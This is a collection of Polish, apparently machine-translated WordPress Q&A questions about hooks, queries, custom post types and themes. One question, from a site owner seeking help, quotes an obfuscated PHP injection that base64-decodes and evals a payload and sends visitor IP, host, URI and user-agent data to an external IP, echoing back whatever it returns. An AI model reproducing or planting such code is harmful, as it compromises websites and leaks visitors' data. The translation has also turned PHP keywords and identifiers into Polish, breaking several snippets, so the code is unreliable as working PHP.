text: Chcę manipulować kolejnością `WP_User_Query()`. Chcę, aby użytkownik wyszedł uporządkowany według niestandardowego pola meta i w porządku rosnącym. Mam kod poprawnie działający, przetestowałem go na `users.php`, ale ponieważ nie jest to dobre miejsce, aby go umieścić, chciałem uruchomić `add_filter( 'prepare_query', 'my_prepare_query');` Wywołanie w motywie ('włącz ' nie istnieje): $count_args = array( 'include' => $include, 'number' => 999999, 'fields' => 'ID', 'orderby' => 'include', 'order' => „ASC” ); $user_count_query = nowe WP_User_Query ( $count_args ); Po prostu dodałem kolejne `elseif` do `prepare_query` w wierszu 433 `user.php`: elseif ( 'include' == $qv[ 'orderby'] ) { $this->query_from .= " INNER JOIN wp_usermeta ON wp_usermeta.user_id = $wpdb->users.ID"; $this->query_where .= " AND wp_usermeta.meta_key = 'moje_punkty_użytkownika'"; $ orderby = "wp_usermeta.meta_value"; } Dlaczego teraz `add_filter` nie nadpisuje funkcji `user.php`? Czy nie można nadpisać podstawowych funkcji?


title: Dlaczego funkcja wp_enqueue_script() nie działa podczas dołączania pliku JavaScript z TEMPLATEPATH?

text: Próbuję użyć wskazówek z **tutaj**, aby dodać mój plik JS. Umieściłem następujące elementy w functions.php motywu atahualpa Mam zainstalowaną funkcję lektor_init() { if (true) { wp_enqueue_script('lektor',TEMPLATEPATH.'/js/synteza.js'); } } add_action('init','lektor_init'); `TEMPLATEPATH` był już tam używany, więc po prostu go zaadaptowałem. Ale to się nie pojawia. Co zrobiłem źle?


title: add_action do innego add_action nie działa

text:
Mam ten mały kod php do wordpress. To nie działa. Chcę zrobić jedno add_action pod innym add_action. Ale add_action, który jest pod, nie działa! function no_reminder() { echo "funkcja no_reminder jest aktywna"; add_action('admin_menu','no_reminder'); remove_action( 'admin_notice', 'update_nag', 3 ); } add_action('menu_admin', 'niestandardowe'); function custom() { add_menu_page('settings', 'settings', '8', 'custom', 'customfunc'); } funkcja customfunc() { $wpp_rg = get_option('wpp_rg'); if ($_POST['wpp_submit']): update_option('wpp_rg',$_POST['wpp_rg']); endif; $farzad = get_option('wpp_rg'); /******************** IF1 *************************/ if ($farzad ==1) { do_action('no_reminder'); brak_przypomnienia(); echo "Jeśli aktywne"; } if ($farzad==2) { echo "JEŚLI nie jest aktywne"; } /******************** IF1 ***********************/ ?>
 <form action="" method="post">

 tryb testowy:
  <input name="wpp_rg" type="radio" value="1" id="RadioGroup1_0" <?php echo ($farzad= =1 ? 'checked="sprawdzone"' : '') ?> /> aktywne
  <input name="wpp_rg" type="radio" value="2" id=" RadioGroup1_1" <?php echo ($farzad==2 ? 'checked="checked"' : '') ?>/> nieaktywne

 	 <input type="submit" name="wpp_submit" value="save" class="button" />

 < /form>
 <?php } ?> Co mam zrobić?


title: Co może być nie tak, gdy automatyczne kopie zapasowe przestają być wysyłane na e-mail?

text: Z jakiegoś powodu automatyczna kopia zapasowa, która była wysyłana co tydzień na mój e-mail, przestaje się pojawiać. W czym może być problem?


title: Jak zapobiec podwójnemu wykonywaniu instrukcji do_action

text: Czy istnieje sposób, aby zapobiec podwójnemu wykonywaniu instrukcji do_action? Na przykład mam następujące wiersze: do_action('myhook1', 'myfunction1'); do_action('mojahak2', 'mojafunkcja2'); do_action('mojahak3', 'mojafunkcja3'); Istnieją również inne wtyczki, które „mogą” je uruchamiać. Czy istnieje wbudowana funkcja WordPress lub jakieś środki zapobiegające podwójnemu wykonywaniu instrukcji do_action? Potrzebuję, aby po ich aktywacji lub wykonaniu? Wordpress po prostu zignoruje inne instrukcje do_action. Coś takiego jak ten warunek: if (!(already_executed)) { //niewykonane //wykonaj linie do_action do_action('myhook1', 'myfunction1'); do_action('mojahak2', 'mojafunkcja2'); do_action('mojahak3', 'mojafunkcja3'); }


title: Czy wtyczki filtrujące zawartość postów mogą działać z postami z programu Word 2007?

text: Testuję blogowanie z programu Word 2007, więc możemy wspierać użytkowników, którzy tego chcą. Wszystko działa dobrze i zgodnie z oczekiwaniami, z wyjątkiem używanych przez nas wtyczek, które dodają filtry do zawartości (np. wordpress-table-of-contents) nie przetwarzają postów z Worda. Jeśli otworzysz posty w WordPressie i zapiszesz, wszystko działa dobrze, nawet jeśli niczego nie zmienisz, ale chcemy móc tego uniknąć. Aby uzyskać informacje, strona, na której najbardziej się martwię, to witryna MU (z WP 3.0.1), ale witryny inne niż MU są dotknięte dokładnie w ten sam sposób. Czy istnieje sposób, aby te wtyczki przetwarzały posty pochodzące z Worda, które nie wymagają interakcji z panelem administracyjnym Wordpress?


title: Otrzymuję „Biblioteka PHP Data/Czas nie jest obsługiwana przez Twojego dostawcę usług internetowych”. na moim hoście CentOS, jaką bibliotekę muszę zainstalować, aby dodać obsługę?

text: Szybko się rozejrzałem, ale moje umiejętności PHP dopiero się rozwijają. Jestem pewien, że istnieje tylko pakiet, który wymaga instalacji. Edytuj, aby dodać dodatkowe informacje o konfiguracji: Używając: yum info php Otrzymuję wersję PHP jako 5.1.6: Nazwa : php Arch : i386 Wersja : 5.1.6 Więcej informacji, to jest maszyna wirtualna z systemem CentOS w GoDaddy: wydanie CentOS 5.4 (Końcowy)


title: Ukryj pakiet odrzutowy dla współtwórcy

text: Zainstalowałem jetpack na moim blogu wordpress. Jak mogę ukryć `jetpack` przed współtwórcami i pokazać go tylko administratorom? Dziękuję


title: formaty postów - jak przełączać metaboxy przy zmianie formatu?

text: ### Problem Po uświadomieniu sobie, że formaty postów są ~~dosyć popularne, ale~~ to tylko ekstremalnie zgrubnie narysowana koncepcja, widzę, że użytkownicy mogą natrafić na możliwe pułapki. Format postu ... * używa pól meta postu i użytkownik nie pamięta dokładnej nazwy klucza meta. * pobiera link/embed/cokolwiek obiekt z edytora postów i użytkownik wprowadza błędne dane. Oba są przykładami możliwych pułapek, w które użytkownik może trafić. ### Pomysł Format postu ma niestandardowe pole meta, które pozwala na wprowadzanie tylko oczekiwanych danych. Sam pomysł nie jest taki zły, ale nadal istnieje problem, że użytkownik musiałby * wstawić dane do właściwego pola meta *, a następnie wybrać odpowiedni format postu. ### Pytanie To, czego szukam, to * rozwiązanie, które przełącza (ajax) metabox (lub tylko jego zawartość) na podstawie wyboru dokonanego przez użytkownika w metaboxie formatów postu **LUB...** * za pomocą zakładek ajax/jquery-ui wewnątrz pola meta, aby zmienić zawartość pola _i_ zapisać odpowiedni format postu w „save_post” Uwaga: nie szukam dokładnej zawartości pola. Najbardziej interesuje mnie zobaczenie "otoczenia" w różnych przykładach "kodu". Dziękuję Ci!


title: Niestandardowe szablony typu postów?

text: Czy można skonfigurować szablony dla niestandardowych typów postów? Na przykład masz stronę portfolio z 4 różnymi odmianami układu i chcesz, aby użytkownik mógł wybrać układ, który chce dla tego postu / strony? Zastanawiałeś się, czy któryś z was, dobrzy ludzie, znał sposób? Dziękuję :)


title: Wyświetlanie konkretnego posta w zapytaniu wp według identyfikatora posta

text: Po prostu próbuję wyświetlić określony identyfikator wpisu z mojego niestandardowego wpisu typu „homepage_video”. Jestem pewien, że to poprawny kod, ale wygląda na to, że zwraca wszystkie posty, a nie tylko Post Id 40. <?php query_posts('post_id=40&post_type=homepage_video'); while (have_posts()): the_post(); ?> <div id="video-panel-blue"> <?php get_custom_field('home-video-iframe', TRUE); ?> </div> <?php endwhile; ?> Dzięki


title: Dlaczego „exclude_from_search” wyklucza niestandardowy typ posta z WP_Query?

text: W WP 3.1 wygląda na to, że ustawienie `'exclude_from_search' = TRUE` dla niestandardowego typu postu wyklucza ten typ postu nie tylko z wyszukiwań w interfejsie użytkownika, ale także z dowolnego zapytania postu przy użyciu `'post_type' = 'all`' . Mogę sobie wyobrazić wiele scenariuszy, w których programista wtyczek chciałby uzyskać dostęp do WSZYSTKICH typów postów, nawet tych wyłączonych z wyszukiwania front-end. Czy to błąd, czy tylko słabo udokumentowany? _Backstory:_ Mam niestandardowy typ posta z niestandardowym polem „Data ważności postu”. Próbując automatycznie cofnąć publikację wygasłych niestandardowych postów, stworzyłem wtyczkę Content Expiration, która używa wp_schedule_event() do okresowego cofania publikacji postów, w których „Data wygaśnięcia postu” < Dzisiaj. Działało świetnie, dopóki określiłem mój niestandardowy typ posta, ale przestał działać, gdy próbowałem uczynić go bardziej ogólnym, ustawiając `'post_type' = 'all'` w argumentach WP_Query. Okazuje się, że problemem był argument „exclude_from_search” dla niestandardowego typu wpisu. Oto odpowiedni kod w klasie WP_Query: $exclude_post_types = ''; $in_search_post_types = get_post_types( array('exclude_from_search' => false) ); if ( ! empty( $in_search_post_types ) ) $exclude_post_types .= $wpdb->prepare(" AND $wpdb->posts.post_type IN ('" . join("', '", $in_search_post_types . "')") ; if ( 'any' == $post_type ) { $where .= $exclude_post_types; }


title: jakikolwiek sposób na dostęp do zmiennych z poziomu edytora postów?

text: Próbuję przypisać zmienną z mojego pliku szablonu lub w inny sposób, do której mogę uzyskać dostęp w edytorze postów. Jakieś pomysły?


title: Moduły z implementacjami meta box

text: Szukam niektórych modułów, które implementują dodawanie meta boxu, jak pokazano tutaj, być może z magią ajax. Jeśli masz jakieś moduły, które mógłbym sprawdzić, byłoby mile widziane.


title: Wypełnij taksonomię z niestandardowych postów

text: Mam niestandardowy post, który chcę skategoryzować za pomocą niestandardowej taksonomii. Sama taksonomia chcę być zależna od elementów innego niestandardowego typu postu. Czy możliwe jest wypełnienie taksonomii za pomocą elementów typu niestandardowego wpisu, czy jest to coś, co muszę zrobić ręcznie? Wtyczki, fragmenty, wskazówki dotyczące alternatywnych metod podejścia byłyby bardzo mile widziane. EDYTUJ Z PRZYKŁADEM: Mam niestandardowy typ posta, który zasadniczo działa jak strona. Tworząc jedną, chcę, aby wypełniła niestandardową taksonomię tytułem. Odpowiedź Daniela Dworkina jest rozwiązaniem, o którym myślałem.


title: Jak mogę wyświetlić listę wszystkich użytkowników WordPress, ich adresy e-mail, tytuł i status posta?

text: Szukam sposobu, aby zwrócić coś takiego: * Użytkownik, e-mail, tytuł posta, status posta * Użytkownik, e-mail, tytuł posta, status postu * powtórzony.... Każdy użytkownik na mojej stronie ma tylko 1 post. Jest to niestandardowy typ wpisu o nazwie Company Listing.


title: wp_upload_dir jak uzyskać tylko nazwę katalogu .

text: Wyobrażam sobie, że dla niektórych byłoby to proste — ale mam trudności z uzyskaniem tylko nazwy katalogu przesyłania — a nie pełnej ścieżki — dotarłem tak daleko: $uploads = wp_upload_dir(); $upload_path = $uploads['baseurl']; // teraz jak uzyskać tylko nazwę katalogu? ktoś ma jakieś pomysły? dzięki za podzielenie się swoim doświadczeniem. . .


title: Jeśli oświadczenie dla is_autora posta

text: Chcę pokazać coś na pasku bocznym posta tylko wtedy, gdy autor posta jest równy konkretnemu autorowi lub nazwie użytkownika. Patrzyłem na `is_author()`, ale to nie załatwia sprawy.


title: Zezwalaj na filtrowanie pętli dla wszystkich kategorii

text: Chcę dać opcję filtrowania strony indeksu i każdej strony archiwum pod kątem kategorii według takich rzeczy, jak najnowsze, najwyżej oceniane, najczęściej oglądane. Wiem, jak filtrować pętlę dla każdego z nich, ale potrzebuję rozwiązania, aby przełączyć się na każdą filtrowaną pętlę.


title: Poprawiono problem z aktywacją sieci w wp 3.3.1, czy nie?

text: @scribu otworzył tutaj zgłoszenie core trac dla problemu z prawidłową aktywacją sieci w trybie wielostanowiskowym. Wygląda na to, że został naprawiony w wp 3.1. Ale scribu powiedział, że nie zostało to naprawione w wp 3.1. Wypuścił więc wtyczkę do prawidłowej aktywacji sieci. Używam Wordpress multisite. Czy ktoś może mi powiedzieć, czy ten problem został naprawiony w wp3.3.1, czy nie?


title: Menu listy HTML do menu Wordpress

text:
Kupiłem motyw HTML, który chcę przebudować na Wordpress. Mam problem z działaniem menu. Poniżej znajduje się kod HTML menu. (bez początku i końca UL).
Portfolio

Trzy kolumny

Cztery kolumny

Strony

O stronie

Strona z cenami

Strony główne

Galerie zdjęć

Suwak OneByOne

Wideo w nagłówku

Suwak obrazu i wideo

Strona usług

Strona usług (wersja 1)

 Strona usług (var2)

Pasek boczny po prawej

Pasek boczny po lewej

Skróty

Przyciski i listy

Tekst i obrazy

Wykresy

Kolumny

Kolumny o pełnej szerokości

Lightbox

Filmy i galerie

Mapy Google

Karty i przełączniki

Pudełka i tabele

Typografia

Niestandardowe widżety

Blog

Kontakt
 Muszę uzyskać kod HTML zwracany przez `wp_nav_menu()` wyglądać jak powyższy kod, aby uzyskać menu poprawny sposób w szablonie. Jak mam to zrobić?


title: Szybkie pytanie o tag warunkowy, jeśli elseif

text: Mam pole wyboru meta, klikasz, aby włączyć / wyświetlić informacje o ciosie w zasadzie ... Te warunki nie działają z jakiegoś powodu, pierwszy, jeśli działa, ale kiedy dodam inne, jeśli się zepsuje ... <ul> <?php if (get_post_meta($post->ID, 'hm_check_image1', true)) { ?> <li> stufff inne informacje meta... </li> <?php elseif (get_post_meta($post ->ID, 'hm_check_image2', true)) { ?> <li> stufff inne informacje meta... </li> <?php elseif (get_post_meta($post->ID, 'hm_check_image3', true)) { ?> <li> wrzuć inne informacje meta... </li> <? } else { ?> <!--brak zaznaczonego pola wyboru--> <?php } ?> </ul> Oczywiście brakuje mi czegoś oczywistego, wolę robić to zwykle w ten sposób, co daje mi elastyczność, aby umieścić wszystko, co chcę pomiędzy znaczniki li... nie tylko ograniczone przez echo. Każda pomoc byłaby świetna, na pewno szybka.


title: Błąd opcji motywu WordPress

text: Tworzę motyw i muszę wywołać opcje motywu Ale pojawiają się błędy, takie jak biały ekran i wewnętrzny błąd serwera 500, gdy wywołuję tutaj opcje motywu W zapytaniu WP (newbie w PHP) <?query_posts ('meta_key=post_views_count&orderby=meta_value_num&order= DESC&meta_value=get_option(mytheme_value);');?> Również w moim formularzu interfejsu użytkownika // DODAJ FORMULARZ DO $new_post ARRAY $new_post = array( 'post_title' => $title, 'post_content' => $description, ' post_category' => array($_POST['cat']), // Można używać również dla niestandardowych taksonomii 'tags_input' => array($tags), 'post_status' => 'get_option(mytheme_status)' i jak mogę wywołać opcja w functions.php


title: Dziwne kody w mojej witrynie Wordpress i moja witryna działa zbyt wolno

text: Mam stronę wordpress, ostatnio widziałem zbyt wolno ładującą się stronę indeksu. Od dwóch tygodni staram się znaleźć problem, ale nic nie znalazłem. Ostatniego dnia wykonałem kopię zapasową wszystkich plików i usunąłem wszystko z mojej witryny, a także po otwarciu strony indeksu mojej witryny w notatniku ++. Widziałem zbyt wiele dziwnych kodów, a kiedy uruchamiam witrynę lokalnie na wampie, mój program antywirusowy wyświetla zbyt wiele ostrzeżeń i blokuje wiele zewnętrznych połączeń. I saw this code on my website index page:               <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT' ]));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER ']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref ; $tmp = file_get_contents($url); echo $tmp; ?> powiedz mi, dlaczego ten kod jest na mojej stronie i jak się tam dostał, nie znalazłem go na żadnej innej stronie, powiedz mi również, co mam teraz zrobić, a mój program antywirusowy eset mówi to, gdy ładuję stronę w wamp: Szczegóły: Strona internetowa : http://91.196.216.30/bt.php?ip=127.0.0.1&host=localhost&uri=/web/wordpress/&ua=mozilla/5.0+(windows+nt+6.1)+applewebkit/535.1+(khtml,+jak +gecko)+chrome/14.0.835.187+safari/535.1&ref= Opis: Dostęp do strony internetowej został zablokowany przez program ESET NOD32 Antivirus. Strona internetowa znajduje się na liście stron internetowych z potencjalnie niebezpieczną treścią. www.eset.com


title: Czy można zatrzymać aktywację motywu, gdy dana wtyczka nie jest aktywna?

text: Planuję więc motyw, który będzie zależał od wtyczki (na przykład Timber lub Themosis). Więc oczywiście motyw zepsuje się, jeśli nie będzie mógł go użyć, w zależności od wtyczki. Chciałbym więc, aby uniemożliwić użytkownikowi aktywowanie motywu, który wymaga określonej wtyczki do działania, a zamiast tego wyświetlić przyjazny komunikat o błędzie zawierający potrzebną wtyczkę. Do tej pory dowiedziałem się, jak sprawdzić, czy wtyczka jest zainstalowana, czy nie (link), ale jak zatrzymać aktywację motywu, jeśli to w ogóle możliwe? Dowiedziałem się również o akcjach `switch_theme` i `after_switch_theme`. Więc to, czego mi teraz brakuje, to sposób na zatrzymanie faktycznej aktywacji. czy to możliwe? edit: Znaleziono to do wyświetlania powiadomień/ostrzeżeń administratora.


title: Zapytanie o tag podany slug

text: Jak mogę zapytać o tag, biorąc pod uwagę ślimak?


title: Jak usunąć .html z admina

text: Używam wtyczki możesz zobaczyć wtyczkę `http://wordpress.org/extend/plugins/html-on-pages/` Po aktywacji tej wtyczki dodaje .html na końcu strony permalink. Widzimy to rozszerzenie .html `Dashboard->Pages->Edit` poniżej tytułu. Ale mój problem polega na tym, że dla konkretnej strony nie chcę rozszerzenia .html. Czy to możliwe. pomóż mi, to bardzo pilne. Będę ci bardzo wdzięczny


title: Usunięcie stopki Wordpress - bez dostępu do kodu PHP?

text: Chcę usunąć „powered by wordpress” i nazwę motywu ze stopki, ale wszystkie samouczki odnoszą się do kliknięcia zakładki „Wygląd”, kliknięcia przycisku edycji, a następnie przejścia do szablonów php na prawym pasku bocznym. Wygląda na to, że Wordpress zmienił się od czasu tych samouczków i nie pozwala już na dostęp do szablonów php. Bez względu na to, co zrobię z kodem CSS, stopka się nie porusza. Każda pomoc byłaby bardzo mile widziana!


title: usunąć stronę ze ścieżki nawigacyjnej

text: Obecnie pracuję nad dodaniem Breadcrumb bez wtyczki do strony. Znalazłem kilka możliwości, jak to zrobić, ale tym, czego konkretnie chcę, jest usunięcie jednej strony ze szlaku. Mój aktualny ślad jest następujący: strona główna - produkty - grupa produktów - podgrupa produktów - nazwa produktu Chcę, aby to było: strona główna - grupa produktów - podgrupa produktów - nazwa produktu Czy ktoś ma doświadczenie z tym konkretnym wyzwaniem? Jestem na najnowszej wersji WP i używam motywu potomnego z dwudziestu dziesięciu. Więcej informacji o bułce tartej, której używam: http://www.bloggingtips.com/2009/02/22/create-a-breadcrumb-trail/


title: Dodawanie niestandardowego kodu JavaScript do tagu head w Admin

text: Piszę wtyczkę dla zaplecza, ale muszę dodać javascript, który jest tworzony w pętli for, do nagłówka strony. Jak mam to zrobic? Steve


title: Jak możemy uzyskać „get_post_meta” konkretnego użytkownika, który go dodał?

text: Zasadniczo mam formularz frontonu, który przechowuje notatki i tagi postu. A każdy zalogowany użytkownik może przechowywać tam własne notatki i tagi. Ale chcę, żeby kiedy on przeglądał notatki i tagi, widzi tutaj tylko własne notatki i tagi, a nie wszystkie notatki i tagi każdego z nich. Na przykład jest tam 100 postów. Każdy użytkownik ma możliwość zapisywania notatek i tagów każdego posta i nikt inny nie może tam zobaczyć notatek i tagów. więc po zalogowaniu użytkownik może zobaczyć notatki i tagi, które dodał.


title: Uzyskaj identyfikator dziecka z podrzędnego ślimaka, znając identyfikator rodzica

text: Mam hierarchię, z której muszę uzyskać dane. To dziecko (po imieniu ślimaka), które muszę zdobyć, mając już wiedzę o rodzicach. Najwyższa znana strona nadrzędna (slug : 'rodzic') |_ Child 1 (slug : 'child-1') |_ Strona 1 (slug : 'page-1') |_ Strona 2 (slug : 'page-2') |_ Dziecko 2 (slug : 'potomek-2') |_ Strona 1 (slug : 'strona-1') |_ Strona 2 (slug : 'strona-2') |_ Dziecko 3 (slug : 'potomek-3') ') |_ Strona 1 (slug : 'strona-1') |_ Strona 2 (slug : 'strona-2') Idealnie staram się uzyskać wynik, który zwraca konsekwentnie "strona-2", a już jestem pracując w pętli, w której znam "dziecko-1", "dziecko-2", "dziecko-3" itp. Nie jestem po prostu pewien, jak zapytać o trzeci poziom. Jakieś pomysły? Prawdopodobnie zbytnio się nad tym zastanawiam, ponieważ prawdopodobnie istnieje łatwy sposób na uzyskanie identyfikatora strony z ślimaka, gdy już znasz rodzica. Oczywiście będę musiał napisać scenariusz na wypadek, gdyby „strona-2” z jakiegoś powodu nie istniała, ale najpierw muszę uzyskać właściwe dane. **AKTUALIZACJA:** Oto kod, nad którym teraz pracuję. Znam modele. Znam dzieci modeli. Staram się, aby każde dziecko z osobna znalazło się pod wszystkimi modelowymi dziećmi. Na przykład strona „specyfikacje”. Mam więc nadzieję, że zostanie mi zwróconych 5-6 różnych stron "specyfikacji" ... więc mogę łatwo linkować do nich (dynamicznie). <?php // pobierz id modeli $models = get_page_by_path( 'models' ); // pobierz strony potomne modeli $args = array( 'post_type' => 'page', 'posts_per_page' => -1, 'post_parent' => $models->ID, 'order' => 'ASC', ' orderby' => 'menu_order' ); $children_posts = nowe WP_Query( $args ); ?>


title: Woocommerce: jak zmienić komunikat „Koszyk zaktualizowany”

text: Spędziłem kilka godzin, szukając rozwiązania tego, co wydawałoby się dość prostym problemem - ale bez radości. Jakakolwiek pomoc w tym zakresie byłaby bardzo mile widziana. Używam własnego niestandardowego motywu z Woocommerce. Chcę mieć możliwość zmiany tekstu komunikatu, który pojawia się, gdy użytkownik zaktualizuje koszyk z „Koszyk zaktualizowany” na „Koszyk zaktualizowany”. **Uwaga:** jest to komunikat wyświetlany, gdy użytkownik zmieni ilość produktu w koszyku i wybierze opcję „Aktualizuj koszyk”. Wiem już, jak zmienić tekst przycisku „Dodaj do koszyka”, a także komunikat wyświetlany przy dodawaniu towaru do koszyka („Produkt został pomyślnie dodany do koszyka”). Każda pomoc byłaby bardzo wdzięczna. Dziękuję.


title: Wstawianie reklam do domyślnych kanałów RSS Wordpress

text:
Mam nadzieję, że znajdę pomoc dotyczącą wstawiania reklam do domyślnych kanałów RSS Wordpress (nie używam feedburner) <?php function insertAds($content) { $content = $content.'
Czy odwiedziłeś dzisiaj WpRecipes?
'; zwróć $treść; } add_filter('the_excerpt_rss', 'insertAds'); add_filter('the_content_rss', 'insertAds'); ?> Źródło tutaj Ale przeczytałem, że the_excerpt_rss i the_content_rss są trochę przestarzałe. Czy ktoś może mi doradzić w sprawie obecnych haczyków do użycia? Dziękuję


title: Zastąp domyślną bibliotekę jquery interfejsu użytkownika nowszą wersją

text: Najnowsza wersja rdzenia jquery ui naprawia błąd, który pojawił się na mojej stronie. Problem polega na tym, że Wordpress zawiera wcześniejszą wersję. Jak zastąpić domyślny rdzeń interfejsu użytkownika jquery? Jednym z rozwiązań, które znalazłem, jest edycja pliku script-loader.php w folderze wordpress obejmuje, ale nie chcę dotykać rdzenia WordPress, chyba że muszę. Poniżej znajduje się zasadnicza zmiana, która zadziałała, a której chcę uniknąć. $scripts->add( 'jquery-ui-core', '/wp-content/themes/themefolder/jquery.ui.core.min.js', array('jquery'), '1.9.2', 1 ) ;


title: Utwórz link do profilu, link do profilu BuddyPress zamiast pulpitu WordPress?

text: Używam wtyczki Sidebar Login for BuddyPress, która umożliwia użytkownikom wstawianie pola logowania na pasku bocznym, co z kolei generuje trzy linki: Dashboard, Profile i Logout. Mój problem polega na tym, że link Profil prowadzi do pulpitu WordPress. Chciałbym, aby zawierał link do aktualnej strony profilu BuddyPress. Czy mogę w jakiś sposób zmienić coś w `sidebar-login.php` lub `admin.php`, aby rozwiązać ten problem? Wkleiłem `sidebar-login.php` tutaj: http://pastebin.com/V2v1t4gm Wkleiłem `admin.php` tutaj: http://pastebin.com/6KjxeZ3h


title: Wpisy taksonomii Filera według aktualnej kategorii

text: Mam niestandardową taksonomię 'gdzie' i używam tego kodu, aby uzyskać terminy taksonomii na single.php <?php echo get_the_term_list( $post->ID, 'where', 'Where: ', ', ', '' ) ; ?> Jak mogę dostosować ten kod w taki sposób, że użytkownik kliknie na warunki 'gdzie', powinien otrzymywać posty z tej taksonomii tylko z bieżącej kategorii.


title: Jak utworzyć stronę szablonu z określonym widżetem jako treścią?

text: Zainstalowałem widżet, dzięki któremu mogę dodawać referencje. Ten widżet przechodzi przez referencje na pasku bocznym i wszystko jest w porządku. To, co teraz chcę zrobić, to utworzyć stronę z referencjami, która pobiera wszystkie wpisy z tego widżetu. Funkcjonalność już istnieje w widgecie, aby pobrać wszystkie referencje, jednak nie mogę znaleźć sposobu na jawne pobranie widżetu. Próbowałem the_widget(), ale nie mogę ustalić, jaka jest nazwa klasy PHP widżetu. Czy istnieje inny sposób na zdobycie tego widżetu? [edytuj] @user8982, dziękuję za sugestie, jednak nie tego wymagam. * Używam Wordpress V3.2. * 1, Wtyczka, do której próbuję uzyskać dostęp, to „Widżet Testimonials” autorstwa „j0hnsmith”. * Używam niestandardowego motywu. Stworzyłem już plik szablonu. Mam widżet referencji zarejestrowany na głównym pasku bocznym. Chciałbym w moim szablonie pobrać ten widżet (najlepiej jako obiekt) i sprawić, by odzwierciedlał każdą opinię zamiast pokazywać/ukrywać je pojedynczo.


title: Kod potrzebuje opakowania/kontenera, aby wstawić stopkę z powrotem, ale gdzie?

text:
Poprzedni programista narobił ogromnego bałaganu, z których większość z czasem naprawiłem. Ostatni problem dotyczy jednak odpowiedniego umieszczenia tam stopki, którą usunął. Wierzę, że jeśli mogę uzyskać tutaj pomoc w zrozumieniu, gdzie przenieść elementy z treści z powrotem do nagłówka (co jestem prawie pewien, że jest to konieczne), a następnie w co umieścić kontener lub wrapper w szablonach treści/strony głównej (ustawił wszystkie są dokładnie takie same, więc naprawienie jednego pozwoli mi później naprawić wszystkie), mogę wtedy zająć się innymi problemami z zadaną wysokością dla stron i bezwzględnym pozycjonowaniem dla stopki, kiedy powinno być względne i tak dalej. Tak więc moje pytanie skupia się na tym, gdzie mogę umieścić opakowanie/kontener wokół kodu w ciele, abym mógł następnie przejść do innych istotnych zmian, które spowodują dynamiczną wysokość stron i pozwolą mi przywrócić „pobierz stopkę” w moich plikach template.php, aby być względnie pozycjonowanym? Przepraszam, jeśli nie publikuję poprawnie. Inny programista skierował mnie tutaj. Po raz pierwszy tutaj i nie jestem pewien protokołów, w tym ile informacji należy opublikować, aby uzyskać odpowiedź na pytanie Q i jak opublikować kod. Wielkie dzięki za pomoc i cierpliwość. To jest strona: www.voltrek.com. Oto kilka ostatnich wierszy pliku header.php, a następnie kod jednego z szablonów, w tym przypadku strony głównej, które są zrobione tak samo. Również prosta nawigacja na pasku bocznym jest używana do hierarchii stron. Nagłówek (kilka ostatnich linii) > > <?php wp_head(); ?> >  > <ciało <?php body_class(); ?>> > >
 > <?php if ( !function_exists('dynamic_sidebar') || > !dynamic_sidebar('Simple Top Nav') ) : ?>  <img class="voltrek_homepage_photo" src="< ?php echo (get_katalog_szablonu_uri() . '/images/voltrek_homepage_photo.jpg'); ?>" alt="" />

 <?php include("voltrek_page_hierarchy.php"); ?> <?php the_secondary_content(1)?>

 <?php the_secondary_content(2)?>

 <?php the_secondary_content(3)?>

  </html`


title: Czy istnieje sposób na uporządkowanie postów i niestandardowych typów postów jako jednej grupy?

text: Wypróbowałem kilka wtyczek, które wydają się to robić (takie jak ta), ale albo nie, albo są bardzo słabe w ich implementacji i powodują problemy (ten połączony wydaje się losowo wybierać. Mam WP_Query w moim indeksie .php w następujący sposób: <?php if ( get_query_var('stronicowane') ) $paged = get_query_var('paged'); if ( get_query_var('page') ) $paged = get_query_var('page'); $query = new WP_Query( array( 'post_type' => array('post','secondposttype'), 'paged' => $page ) );if ( $query->have_posts() ) : ?> W związku z tym moja strona główna wyświetla zwykłe posty i posty z niestandardowego typu postu „secondposttype”. Używam również skryptów warunkowego obliczania, więc mogę dostosować to, co się pojawia, itp.: <?php if ($count == 1) : ?> Obecnie używanym rozwiązaniem jest Wtyczka Q2W3 Post Order, która działa świetnie, jeśli istnieje tylko _jeden_ typ postu.Próbowałem automatycznie dodać niestandardową wartość taksonomii do nowych postów / niestandardowych postów typu post, queryin g tej niestandardowej taksonomii w moim index.php, a następnie używając Q2W3 Post Order do zamawiania postów w tej taksonomii, ale to po prostu nie działa (plus, wydaje się to o wiele bardziej zwariowane niż powinno). Moje pytanie brzmi: czy istnieje sposób na uporządkowanie postów i niestandardowych typów postów jako jednej dużej listy? Tak, że gdy zapytam je jak powyżej, mogę uporządkować ich wyświetlanie? Trudno mi uwierzyć, że chęć zrobienia tego jest rzadkim zjawiskiem. **EDYTUJ:** Podam przykład tego, co chcę zrobić. Chcę wyświetlać posty i posty z drugiego typu postów na stronie głównej za pomocą jednego WP_Query. I chcę mieć możliwość kontrolowania tego, żeby kolejność wyglądała tak: 1. Opublikuj 1 od typu postu "post" 2. Opublikuj 1 od typu posta "secondposttype" 3. Opublikuj 2 od typu postu "secondpoststyle" 4. Post 2 od typu postu "post" 5. Post 3 od typu postu "secondposttype" A potem, innego dnia, mógłbym chcieć, aby kolejność była: 1. Post 3 od typu postu "secondposttype" 2. Post 1 od "post " typ postu 3. Post 2 od typu postu "post" 4. Post 1 od typu postu "secondposttype" 5. Post 2 od typu postu "secondposttype" Istnieją wtyczki, które porządkują jeden typ postu, dzięki czemu możesz zdecydować, który post pojawia się jako pierwszy, drugi, trzeci, czwarty itd. Chcę tylko móc grupować posty i niektóre inne typy postów, aby nie tylko pojawiały się w jednym strumieniu (co jest możliwe dzięki WP_Query), ale aby można je było uporządkować w dowolnym zamówienia i aby posty i posty z drugiego typu postów były traktowane jako jedno i to samo dla celów zamówienia.


title: włącz post nieprzerenderowany do posta, a następnie wyrenderuj całość

text:
